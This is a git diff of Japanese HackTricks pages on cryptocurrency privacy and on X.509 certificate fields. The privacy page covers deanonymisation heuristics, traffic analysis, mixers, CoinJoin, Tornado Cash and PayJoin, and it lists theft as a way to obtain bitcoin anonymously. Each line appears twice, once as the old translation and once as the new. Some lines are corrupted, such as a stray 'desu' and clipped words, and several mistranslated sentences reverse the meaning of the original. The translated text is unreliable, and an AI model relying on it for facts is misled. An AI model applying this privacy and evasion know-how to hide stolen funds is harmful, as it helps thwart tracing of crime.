**強制アドレス再利用**または**インセンティブ付きアドレス再利用**は、敵対者がブロックチェーン上ですでに使用されたアドレスに対して(しばしば少額の)ビットコインを支払う行為です。敵対者は、ユーザーやそのウォレットソフトウェアが**支払いをより大きな取引の入力として使用し、共通入力所有権ヒューリスティックを通じて他のアドレスを明らかにすることを期待しています**。これらの支払いは、アドレス所有者に無意識のアドレス再利用を強制する方法として理解できます。 **強制アドレス再利用**または**インセンティブ付きアドレス再利用**は、敵対者がビットコインの少額を支払って、すでにブロックチェーンで使用されたアドレスに支払うことです。敵対者は、ユーザーやウォレットソフトウェアがこれらの支払いを入力として使用し、共通の入力所有ヒューリスティックを介して他のアドレスを明らかにすることを期待しています。これらの支払いは、アドレス所有者を意図しないアドレス再利用に強制する手段として理解できます。
この攻撃は時々誤って**ダスト攻撃**と呼ばれます。 この攻撃は時々**ダスト攻撃**と誤って呼ばれます。
ウォレットによる正しい行動は、すでに使用され空のアドレスに着陸したコインを使わないことです。 ウォレットの正しい振る舞いは、すでに使用された空のアドレスに着地したコインを使わないことです。
## その他のブロックチェーン分析 ## その他のブロックチェーン分析
* **正確な支払額**: おつりが出ないような取引を避けるためには、支払いがUTXOと等しくなければなりませんこれは非常に予期せぬことです。したがって、**おつりのない取引は、同じユーザーの2つのアドレス間の転送である可能性が高い**です * **正確な支払額**: おつりのないトランザクションを避けるためには、支払いはUTXOと等しくなければなりませんこれは非常に予期しないことです。したがって、**おつりのないアドレス間のトランスファーである可能性が高い**
* **丸い数字**: 取引で、出力の一つが"**丸い数字**"である場合、それは**その"丸い数字"の価格を設定した人への支払い**である可能性が高く、他の部分は残りの金額です。 * **丸められた数値**: トランザクションで、出力の1つが「**丸められた数値**」である場合、これはおそらくその「丸められた数値」の価格を設定した人への**支払い**であるため、もう一方は残りです。
* **ウォレットの指紋**: 慎重な分析者は、**異なるウォレットソフトウェアが常に同じ方法で取引を作成するわけではない**ため、特定の取引を作成したソフトウェアを推測することができることがあります。ウォレットの指紋は、おつりの出力を検出するために使用できます。おつりの出力は、同じウォレットの指紋で使われるものです。 * **ウォレットのフィンガープリント**: 慎重な分析者は、異なるウォレットソフトウェアが常にまったく同じ方法でトランザクションを作成しないため、特定のトランザクションを作成したソフトウェアを推測することがあります。ウォレットのフィンガープリントは、おつりの出力を検出するために使用できます。おつりの出力は、同じウォレットのフィンガープリントで使われるものです。
* **金額とタイミングの相関関係**: 取引を行った人が取引の**時間**と/または**金額**を**公表**すると、それは簡単に**発見可能**です。 * **金額とタイミングの相関**: トランザクションを実行した人がトランザクションの**時間**や**金額**を開示した場合、それは簡単に**発見**できます。
## トラフィック分析 ## トラフィック分析
ある組織が**あなたのトラフィックを嗅ぎ取る**と、ビットコインネットワークで通信しているのを見ることができます。\ いくつかの組織があなたのトラフィックを**スニッフィング**してビットコインネットワークで通信しているのを見ることができます。\
もし敵対者が、以前に入ってこなかったあなたのノードからの取引やブロックが**出ていくのを見た場合**、その取引があなたによって行われたか、またはそのブロックがあなたによって採掘されたことをほぼ確実に知ることができます。インターネット接続が関与しているため、敵対者は**IPアドレスを発見されたビットコイン情報と関連付ける**ことができます。 敵対者が、以前に入力されていなかったトランザクションやブロックがあなたのノードから出てくるのを見ると、それはほぼ確実に**あなたによってトランザクションが行われたか、ブロックがあなたによって採掘されたことを知る**ことができます。インターネット接続が関係しているため、敵対者はIPアドレスを発見したビットコイン情報と関連付けることができます。
インターネット全体のトラフィックを嗅ぎ取ることができない攻撃者でも、**多くのビットコインノードを持っていて**、**ソースに近づく**ことができれば、取引やブロックをアナウンスしているIPアドレスを知ることができるかもしれません。\ インターネットトラフィックをすべてスニッフィングすることができない攻撃者でも、**多くのビットコインノード**を持っていることで**ソースに近づく**ことができ、トランザクションやブロックを発表しているIPアドレスを知ることができるかもしれません。\
また、一部のウォレットは、未確認の取引を定期的に再放送して、ネットワーク全体に広く伝播し、採掘される可能性を高めます。 また、一部のウォレットは、未確認のトランザクションを定期的に再放送するため、ネットワーク全体に広く伝播し、採掘されやすくなります。
## アドレスの所有者に関する情報を見つけるためのその他の攻撃 ## アドレス所有者の情報を見つけるためのその他の攻撃
詳細については[https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy)を読んでください。 より多くの攻撃については、[https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy)を参照してください。
# 匿名ビットコイン # 匿名ビットコイン
## 匿名でビットコインを取得する ## 匿名でビットコインを入手する方法
* **現金取引**: 現金を使用してビットコインを購入します。 * **現金取引**: 現金を使てビットコインを購入します。
* **現金代替**: ギフトカードや類似のものを購入し、オンラインでビットコインと交換します。 * **現金代替**: ギフトカードなどを購入し、オンラインでビットコインと交換します。
* **マイニング**: マイニングはビットコインを取得する最も匿名の方法です。これは、[マイニングプール](https://en.bitcoin.it/wiki/Pooled\_mining)が一般的にハッシャーのIPアドレスを知っているため、ソロマイニングに適用されます。 * **マイニング**: マイニングは最も匿名性の高いビットコインの入手方法です。これは、[マイニングプール](https://en.bitcoin.it/wiki/Pooled\_mining)が一般的にハッシャーのIPアドレスを知っているため、ソロマイニングにも当てはまります。
* **盗難**: 理論的には、別の匿名ビットコインの取得方法はそれらを盗むことです。 * **窃盗**: 理論的には、匿名ビットコインを入手する別の方法は窃盗です。
## ミキサー ## ミキサー
ユーザーはビットコインをミキシングサービスに**送信し**、サービスは手数料を差し引いた異なるビットコインをユーザーに**返送します**。理論的には、ブロックチェーンを観察する敵対者は、入金と出金の取引を**リンクすることができない**でしょう ユーザーは**ビットコインをミキシングサービスに送信**し、サービスは**異なるビットコインをユーザーに返送**します(手数料を差し引いた状態で)。理論的には、ブロックチェーンを観察している敵対者は、着金と送金のトランザクションを**リンクすることができません**
しかし、ユーザーはミキシングサービスがビットコインを返すこと、また受け取ったお金と送ったお金の関係についてログを保存していないことを信頼する必要があります。\ ただし、ユーザーはミキシングサービスがビットコインを返送し、お金の受け取りと送信の関係についてのログを保存していないことを信頼する必要があります。\
ビットコインカジノのような他のサービスもミキサーとして使用できます。そこではビットコインを送信し、後で取り戻すことができます。 Bitcoinカジなど、他のサービスもミキサーとして使用できます。
## CoinJoin ## CoinJoin
**CoinJoin**は、異なるユーザーの複数の取引をただ一つに**混ぜ合わせる**ことで、観察者が**どの入力がどの出力に関連しているかを見つけることをより**困難**にします。\ **CoinJoin**は、異なるユーザーの複数のトランザクションを1つに混合して、外部の観察者が**どの入力がどの出力に関連しているか**を見つけにくくすることを目的としています。\
これは新しいレベルのプライバシーを提供しますが、入力と出力金額が相関しているか、他の入力と出力と非常に異なる**一部の取引**は、外部の観察者によって**まだ相関付けられる可能性があります**。 これは新しいプライバシーレベルを提供しますが、**一部のトランザクション**では、一部の入力と出力金額が相関しているか、他の入力と出力と非常に異なる場合、**外部の観察者によって相関付けられる可能性があります**。
ビットコインのブロックチェーン上でおそらくCoinJoin取引IDの例は`402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`と`85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`です。 ビットコインのブロックチェーン上でおそらくCoinJoinトランザクションIDの例は、`402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`と`85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`です。
[**https://coinjoin.io/en**](https://coinjoin.io/en)\ [**https://coinjoin.io/en**](https://coinjoin.io/en)\
**CoinJoinに似ていますが、より優れており、イーサリアム用には** [**Tornado Cash**](https://tornado.cash) **があります(お金はマイナーから提供されるので、あなたのウォレットに現れます)。** **CoinJoinに似ていますが、イーサリアム用のより優れたものとして** [**Tornado Cash**](https://tornado.cash) **(お金はマイナーから提供されるため、ウォレットに表示されるだけです)。**
## PayJoin ## PayJoin
前のセクションで議論されたCoinJoinのタイプは、同じ値の複数の出力をチェックすることで簡単に識別できます。 前のセクションで議論されたCoinJoinのタイプは、同じ値の複数の出力をチェックすることで簡単に特定できます。
PayJoinペイ・トゥ・エンドポイントまたはP2EPとも呼ばれるは、一方が他方に支払う2者間の特別なタイプのCoinJoinです。そのため、取引には特徴的な同じ値の複数の出力が**なく**、等価出力のCoinJoinとして明らかには見えません。この取引を考えてみてください PayJoinまたは支払い先ポイントまたはP2EPとも呼ばれるは、2つの当事者間の特別なCoinJoinであり、一方の当事者が他方に支払います。そのトランザクションには**同じ値の複数の出力がない**ため、平等な出力のCoinJoinとして明らかに見えません。このトランザクションを考慮してください。
``` ```
2 btc --> 3 btc 2 btc --> 3 btc
5 btc 4 btc 5 btc 4 btc
``` ```
```markdown 単純な取引として解釈される可能性があり、残りのおつりを支払う取引支払いとおつりのどちらがどのアウトプットかは無視する。この取引を別の方法で解釈すると、2 BTCのインプットが商人の所有であり、5 BTCが顧客の所有であり、この取引は顧客が商人に1 BTCを支払うものとなる。これら2つの解釈のどちらが正しいかはわからない。その結果、共通インプット所有ヒューリスティックを破り、プライバシーを向上させるコインジョイン取引が行われるが、これは**通常のビットコイン取引と区別がつかず、検出不可能**である。
単純な取引として解釈することもできます。これは、おつりが残る支払い今のところ、どちらのアウトプットが支払いで、どちらがおつりかの問題は無視します。この取引を別の方法で解釈すると、2 BTCの入力は商人が所有し、5 BTCは顧客が所有しており、この取引により顧客が商人に1 BTCを支払うことになります。これら2つの解釈のどちらが正しいかを知る方法はありません。結果として、コインジョイン取引は一般的な入力所有権のヒューリスティックを破り、プライバシーを向上させますが、**通常のビットコイン取引と区別がつかず、検出もできません**。
PayJoin取引が中程度に使用されるようになれば、**一般的な入力所有権のヒューリスティックは実際には完全に欠陥があるということになります**。検出できないため、現在使用されているかどうかさえわかりません。取引監視会社はそのヒューリスティックに大きく依存しているため、2019年現在、PayJoinのアイデアについては大きな期待が寄せられています PayJoin取引が適度に使用されるようになると、**実践上共通インプット所有ヒューリスティックは完全に間違っている**ことになる。これらは検出不可能なので、現在使用されているかどうかさえわからない。取引監視会社はほとんどがこのヒューリスティックに依存しているため、2019年時点ではPayJoinのアイデアに大きな期待が寄せられている
# Bitcoin プライバシーの良い実践 # ビットコインのプライバシーの良い実践方法
## ウォレットの同期 ## ウォレットの同期
Bitcoinウォレットは、その残高と履歴に関する情報を何らかの方法で取得する必要があります。2018年後半現在、最も実用的でプライベートな既存のソリューションは、**フルノードウォレット**(最大限にプライベート)と**クライアントサイドブロックフィルタリング**(非常に良い)を使用することです ビットコインウォレットは、自分の残高や履歴に関する情報をどこかから取得する必要がある。2018年末時点で、最も実用的でプライベートな既存の解決策は、**フルノードウォレット**(最大限にプライベート)と**クライアントサイドブロックフィルタリング**(非常に優れている)を使用することである
* **フルノード:** フルノードは、ビットコインでこれまでに発生したすべてのオンチェーン[トランザクション](https://en.bitcoin.it/wiki/Transaction)を含むブロックチェーン全体をダウンロードします。したがって、ユーザーのインターネット接続を監視している敵は、ユーザーが興味を持っているトランザクションやアドレスを知ることができません * **フルノード:** フルノードは、ビットコインでこれまでに行われたすべてのオンチェーン[取引](https://en.bitcoin.it/wiki/Transaction)を含むブロックチェーン全体をダウンロードす。したがって、ユーザーのインターネット接続を監視している敵対者は、ユーザーが興味を持っている取引やアドレスを知ることができない
* **クライアントサイドブロックフィルタリング:** クライアントサイドブロックフィルタリングは、ブロック内のすべてのトランザクションの**アドレス**を含む**フィルター**を作成することで機能します。フィルターは**セット内の要素**をテストすることができます。偽陽性はあり得ますが、偽陰性はありません。軽量ウォレットは、ブロックチェーン内のすべてのブロックのフィルターを**ダウンロード**し、自分の**アドレス**との一致をチェックします。一致が含まれるブロックはピアツーピアネットワークから完全にダウンロードされ、これらのブロックを使用してウォレットの履歴と現在の残高を取得します。 * **クライアントサイドブロックフィルタリング:** クライアントサイドブロックフィルタリングは、ブロック内のすべての取引のすべての**アドレス**を含む**フィルター**を作成することで機能する。フィルターは要素がセット内にあるかどうかをテストできる。誤検知は可能だが、誤検出はない。軽量ウォレットは、**ブロックチェーン**内のすべての**ブロック**のすべてのフィルターをダウンロードし、自分の**アドレス**と一致するかどうかをチェックする。一致するブロックはピアツーピアネットワークから完全にダウンロードされ、そのブロックを使用してウォレットの履歴と現在の残高を取得す
## Tor ## Tor
Bitcoinネットワークはピアツーピアネットワークを使用しているため、他のピアがあなたのIPアドレスを知ることができます。これが、**ビットコインネットワークとのやり取りをするたびにTorを介して接続することを推奨する**理由です。 ビットコインネットワークはピアツーピアネットワークを使用しているため、他のピアはあなたのIPアドレスを知ることができる。これが、**ビットコインネットワークとやり取りする際に毎回Torを介して接続することをお勧めする理由**です。
## アドレスの再利用を避ける ## アドレス再利用の回避
**アドレスが複数回使用されることは、それが同じエンティティによって作成された証拠として複数のブロックチェーン取引をリンクするため、プライバシーに非常に損害を与えます**。ビットコインを最もプライベートで安全に使用する方法は、あなたに支払いをする各人に対して**新しいアドレスを送る**ことです。受け取ったコインが使われた後、そのアドレスは二度と使用されるべきではありません。また、ビットコインを送る際には、新しいビットコインアドレスを要求するべきです。すべての良いビットコインウォレットには、アドレスの再利用を抑制するユーザーインターフェースがあります。 **アドレスを複数回使用することは、プライバシーに非常に損害を与えるため、それによってより多くのブロックチェーン取引が同じエンティティによって作成されたことの証拠と結びつく**。ビットコインを最もプライベートで安全に使用する方法は、支払いを行うたびに支払いを行う各人に新しいアドレスを送信することです。受け取ったコインを使い切った後は、そのアドレスを再利用しないようにするべきです。また、ビットコインを送信する際には新しいビットコインアドレスを要求すべきです。すべての優れたビットコインウォレットには、アドレスの再利用を desu するユーザーインターフェースが備わっています。
## 複数の取引 ## 複数の取引
**複数のオンチェーン取引**を使用して誰かに**支払う**ことは、金額相関や丸い数字などの金額ベースのプライバシー攻撃の力を大幅に減らすことができます。たとえば、ユーザーが誰かに5 BTCを支払いたいが、5 BTCの値が簡単に検索されることを望まない場合、2 BTCと3 BTCの値の2つの取引を送信して、合計で5 BTCになるようにすることができます。 **1回のチェーン上の取引で複数の支払いを行う**ことは、金額に基づくプライバシー攻撃金額の相関や丸められた数値などの影響を大幅に軽減することができます。例えば、ユーザーが誰かに5 BTCを支払いたいが、その5 BTCの価値が簡単に検索されたくない場合、2 BTCと3 BTCの2つの取引を送信して、合計5 BTCになるようにすることができます。
## おつりの回避 ## おつりの回避
おつりの回避は、取引の入力と出力を慎重に選択して、おつりの出力がまったく必要ないようにすることです。**おつりの出力がないことはプライバシーにとって非常に優れています**。これはおつり検出ヒューリスティックを破ります。 おつりの回避とは、取引のインプットとアウトプットが慎重に選択され、全くおつりのアウトプットが必要ないようにすることです。**おつりのアウトプットがないことはプライバシーに優れている**ため、おつりの検出ヒューリスティックを破るのに役立ちます。
## 複数のおつり出力 ## 複数のおつりのアウトプット
おつりの回避が選択肢でない場合、**複数のおつり出力を作成することでプライバシーを向上させる**ことができます。これは通常、単一おつり出力しかないと仮定するおつり検出ヒューリスティックも破ります。この方法は通常より多くのブロックスペースを使用するため、おつりの回避がましいです。 おつりの回避が選択肢でない場合、**1つ以上のおつりのアウトプットを作成することでプライバシーを向上**させることができます。これは通常のより多くのブロックスペースを使用するため、おつりの回避がましいです。
# Monero # Monero
Moneroが開発されたとき、それが解決しようとしたのは**完全な匿名性**の深刻な必要性でした。そして、大きな範囲で、その空白を埋めました Moneroが開発されたとき、**完全な匿名性**への切実なニーズを解決しようとしたものであり、大きな部分でその空白を埋めています
# Ethereum # Ethereum
## Gas ## ガス
Gasは、Ethereumネットワークで特定の操作を実行するために必要な**計算** **努力**の**量**を測定する単位を指します。Gasは、Ethereumで**取引**を成功させるために必要な**手数料**を指します。 ガスとは、Ethereumネットワーク上で特定の操作を実行するために必要な**計算労力**の単位を指します。ガスは、Ethereum上で**取引**を成功裏に実行するために必要な**手数料**を指します。
Gas価格は**gwei**で表示され、これはETHの単位です - 各gweiは**0.000000001 ETH**10-9 ETHに等しいです。たとえば、ガスが0.000000001イーサであると言う代わりに、ガスが1 gweiであると言うことができます。'gwei'という言葉自体は'giga-wei'を意味し、**1,000,000,000 wei**に等しいです。Wei自体はETHの**最小単位**です。 ガス価格は**gwei**で表され、これ自体がETHの単位であり、1 gweiは**0.000000001 ETH**10^-9 ETHに等しいです。例えば、ガスが0.000000001イーサであると言う代わりに、ガスが1 gweiであると言うことができます。'gwei'という言葉自体は'ギガウェイ'を意味し、**1,000,000,000 wei**に等しいです。Wei自体が**ETHの最小単位**です。
取引がいくらのガスを費やすかを計算するには、この例を読んでください 取引にかかるガスを計算するための例を読んでみましょう
例えば、JordanがTaylorに1 ETHを支払う必要があります。取引では、ガスリミットは21,000ユニットで、ベース手数料は100 gweiです。Jordanは10 gweiのチップを含めます。 ジョーダンがテイラーに1 ETH支払わなければならないとします。取引では、ガスリミットは21,000ユニットで、ベース料金は100 gweiです。ジョーダンは10 gweiのチップを含めます。
上記の式を使用して、これを`21,000 * (100 + 10) = 2,310,000 gwei`または0.00231 ETHとして計算できます。 上記の式を使用して、これを`21,000 * (100 + 10) = 2,310,000 gwei`または0.00231 ETHと計算できます。
Jordanがお金を送ると、Jordanのアカウントから1.00231 ETHが差し引かれます。Taylorには1.0000 ETHが入金されます。マイナーは0.00021 ETHのチップを受け取ります。ベース手数料の0.0021 ETHは燃焼されます。 ジョーダンがお金を送ると、ジョーダンの口座から1.00231 ETHが差し引かれます。テイラーは1.0000 ETHが入金されます。マイナーは0.00021 ETHのチップを受け取ります。0.0021 ETHのベース料金が燃やされます。
さらに、Jordanは取引の最大手数料`maxFeePerGas`も設定できます。最大手数料と実際の手数料の差額はJordanに返金されます。つまり、`refund = max fee - (base fee + priority fee)`です。Jordanは取引の実行に支払う最大金額を設定し、取引が実行されたときにベース手数料を超えて過払いすることを心配する必要はありません さらに、ジョーダンは取引のために`maxFeePerGas`を設定することもできます。最大料金と実際の料金の差額はジョーダンに返金されます。つまり、`返金 = 最大料金 - (ベース料金 + 優先料金)`です。ジョーダンは取引が実行される際にベース料金を超過する心配をせずに、取引の実行に支払う最大金額を設定することができます
ネットワークがブロックスペースの需要に基づいてベース手数料を計算するため、この最後のパラメータmaxFeePerGasは、支払われる最大手数料を制御するのに役立ちます。 ベース料金は、ブロックスペースの需要に基づいてネットワークによって計算されるため、この最後のパラメータである`maxFeePerGas`は、支払う最大料金を制御するのに役立ちます。
## 取引 ## 取引
**Ethereum**ネットワークでは、取引は2つのアドレス間で行われ、これらは**ユーザーまたはスマートコントラクトのアドレス**であることに注意してください。\ **Ethereum**ネットワークでは、取引は2つのアドレス間で行われ、これらは**ユーザーまたはスマートコントラクトアドレス**である可能性があります。\
**スマートコントラクト**は、**特別な** **取引**を介して分散台帳に格納されます。 **スマートコントラクト**は、**特別な** **取引**を介して分散台帳に格納されます。
EVMの状態を変更する取引は、ネットワーク全体にブロードキャストする必要があります。任意のードは、EVMで実行される取引のリクエストをブロードキャストすることができます。これが行われた後、**マイナー**は**取引**を**実行**し、その結果の状態変更をネットワークの残りの部分に伝播します。\ EVMの状態を変更する取引は、ネットワーク全体にブロードキャストする必要があります。任意のードは、EVMで実行される取引のリクエストをブロードキャストできます。その後、**マイナー**が**取引**を**実行**し、その結果の状態変更をネットワーク全体に伝播します。\
取引には**手数料**が必要であり、マイニングされて有効になります 取引には**手数料**が必要であり、有効になるためにはマイニングされなければなりません
提出された取引には以下の情報が含まれます: 提出された取引には、次の情報が含まれます:
* `recipient` 受信アドレス(外部所有アカウントの場合、取引は価値を移転します。契約アカウントの場合、取引は契約コードを実行します) * `recipient` 受信アドレス(外部所有アカウントの場合、取引は価値を転送します。コントラクトアカウントの場合、取引はコントラクトコードを実行します)
* `signature` 送信者の識別子。これは、送信者の秘密鍵が取引に署名するときに生成され、送信者がこの取引を承認したことを確認します * `signature` 送信者の識別子。これは、送信者の秘密鍵が取引に署名し、送信者がこの取引を承認したことを確認すると生成されます
* `value` 送信者から受信者へのETHの移転量WEIで、ETHの単位 * `value` 送信者から受信者に転送するETHの金額WEIで表されるETHの単位
* `data` 任意のデータを含めるためのオプションフィールド * `data` 任意のデータを含めるためのフィールド
* `gasLimit` 取引によって消費されるガスユニットの最大量。ガスのユニットは計算ステップを表します * `gasLimit` 取引で消費できる最大ガスユニット数。ガスの単位は計算ステップを表します
* `maxPriorityFeePerGas` - マイナーへのチップとして含めるガスの最大 * `maxPriorityFeePerGas` - マイナーにチップとして含めることができる最大ガス
* `maxFeePerGas` - 取引に支払う意志のあるガスの最大量(`baseFeePerGas`と`maxPriorityFeePerGas`を含む) * `maxFeePerGas` - 取引に支払うことができる最大ガス量(`baseFeePerGas`と`maxPriorityFeePerGas`を含む)
発信アドレスのフィールドがないことに注意してください。これは、署名から外挿できるためです。 起源アドレスのフィールドは存在しないことに注意してください。これは、これが署名から推測できるためです。
# 参考文献 # 参考文献
@ -268,19 +269,3 @@ EVMの状態を変更する取引は、ネットワーク全体にブロード
* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/) * [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) * [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse) * [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
他のHackTricksをサポートする方法
* **HackTricksに広告を掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。これは私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションです
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
</details>
```

View file

@ -2,98 +2,107 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks_live**をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。 - **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で**最も進んだ**コミュニティツールによって動力を供給される**ワークフローを簡単に構築して自動化する**。\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセス: 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 証明書とは ## 証明書とは
暗号学において、**公開鍵証明書**、または**デジタル証明書**や**身分証明書**とも呼ばれる電子文書は、公開鍵の所有を証明するために使用されます。証明書には、鍵に関する情報、その所有者(被験者と呼ばれる)の身元に関する情報、および証明書の内容を検証したエンティティ(発行者と呼ばれる)のデジタル署名が含まれています。署名が有効で、証明書を検査するソフトウェアが発行者を信頼している場合、その鍵を使用して証明書の被験者と安全に通信することができます。 暗号化において、**公開鍵証明書**、または**デジタル証明書**、**アイデンティティ証明書**としても知られるものは、公開鍵の所有権を証明するために使用される電子文書です。証明書には鍵に関する情報、所有者(サブジェクトと呼ばれる)のアイデンティティに関する情報、および証明書の内容を検証したエンティティのデジタル署名が含まれます(発行者と呼ばれます)。署名が有効であり、証明書を検討しているソフトウェアが発行者を信頼している場合、その鍵を使用して証明書のサブジェクトと安全に通信できます。
一般的な[公開鍵インフラ](https://en.wikipedia.org/wiki/Public-key_infrastructure)PKIスキームでは、証明書の発行者は[証明書機関](https://en.wikipedia.org/wiki/Certificate_authority)CAであり、通常は顧客に対して証明書を発行するための料金を請求する会社です。対照的に、[信頼のウェブ](https://en.wikipedia.org/wiki/Web_of_trust)スキームでは、個人が直接お互いの鍵に署名し、公開鍵証明書と同様の機能を果たす形式で行います。 典型的な[公開鍵インフラストラクチャ](https://en.wikipedia.org/wiki/Public-key_infrastructure)PKIスキームでは、証明書の発行者は通常、顧客に証明書を発行するために料金を請求する企業である[証明機関](https://en.wikipedia.org/wiki/Certificate_authority)CAです。一方、[信頼のネットワーク](https://en.wikipedia.org/wiki/Web_of_trust)スキームでは、個人がお互いの鍵に直接署名し、公開鍵証明書と同様の機能を果たす形式で行います。
公開鍵証明書の最も一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)によって定義されています。X.509は非常に一般的なため、形式は特定の使用例に対して定義されたプロファイルによってさらに制約されます。例えば、RFC 5280で定義された[Public Key Infrastructure (X.509)](https://en.wikipedia.org/wiki/PKIX)などです。 公開鍵証明書の最も一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)によって定義されています。X.509は非常に一般的であるため、特定のユースケース向けに定義されたプロファイルによってさらに制約されます。たとえば、RFC 5280で定義されている[公開鍵インフラストラクチャX.509](https://en.wikipedia.org/wiki/PKIX)などがあります。
## x509共通フィールド ## x509共通フィールド
* **バージョン番号:** x509形式のバージョン。 - **バージョン番号**x509形式のバージョン。
* **シリアル番号**: CAのシステム内で証明書を一意に識別するために使用されます。特にこれは失効情報の追跡に使用されます。 - **シリアル番号**CAのシステム内で証明書を一意に識別するために使用されます。特に、これは取り消し情報を追跡するために使用されます。
* **被験者**: 証明書が属するエンティティ:マシン、個人、または組織。 - **サブジェクト**証明書が属するエンティティ:マシン、個人、または組織。
* **一般名**: 証明書に影響を与えるドメイン。1つ以上のものがあり、ワイルドカードを含むことができます。 - **コモンネーム**証明書に影響を与えるドメイン。1つ以上であり、ワイルドカードを含むことができます。
* **国 (C)**: - **国C**
* **識別名 (DN)**: 全体の被験者: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net` - **識別名DN**:全体のサブジェクト:`C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
* **地域 (L)**: 地元の場所 - **ローカリティL**地元の場所
* **組織 (O)**: 組織名 - **組織O**組織名
* **組織単位 (OU)**: 組織の部門(例: "人事部")。 - **組織単位OU**:組織の部門(「人事」など)。
* **州または県 (ST, SまたはP)**: 州または県のリスト - **州または州ST、SまたはP**:州または州の名前のリスト
* **発行者**: 情報を検証し、証明書に署名したエンティティ。 - **発行者**情報を検証し、証明書に署名したエンティティ。
* **一般名 (CN)**: 証明書機関の名前 - **コモンネームCN**:証明機関の名前
* **国 (C)**: 証明書機関の国 - **国C**:証明機関の国
* **識別名 (DN)**: 証明書機関の識別名 - **識別名DN**:証明機関の識別名
* **地域 (L)**: 組織が見つかる地元の場所。 - **ローカリティL**組織が見つかる地元の場所。
* **組織 (O)**: 組織名 - **組織O**組織名
* **組織単位 (OU)**: 組織の部門(例: "人事部")。 - **組織単位OU**:組織の部門(「人事」など)。
* **有効開始日時**: 証明書が有効になる最も早い時間と日付。通常は、証明書が発行された瞬間の数時間または数日前に設定されており、[時計のずれ](https://en.wikipedia.org/wiki/Clock_skew#On_a_network)の問題を避けるためです。 - **Not Before**:証明書が有効である最も早い時刻と日付。通常、証明書が発行された瞬間よりも数時間または数日前に設定され、[クロックスキュー](https://en.wikipedia.org/wiki/Clock_skew#On_a_network)問題を回避します。
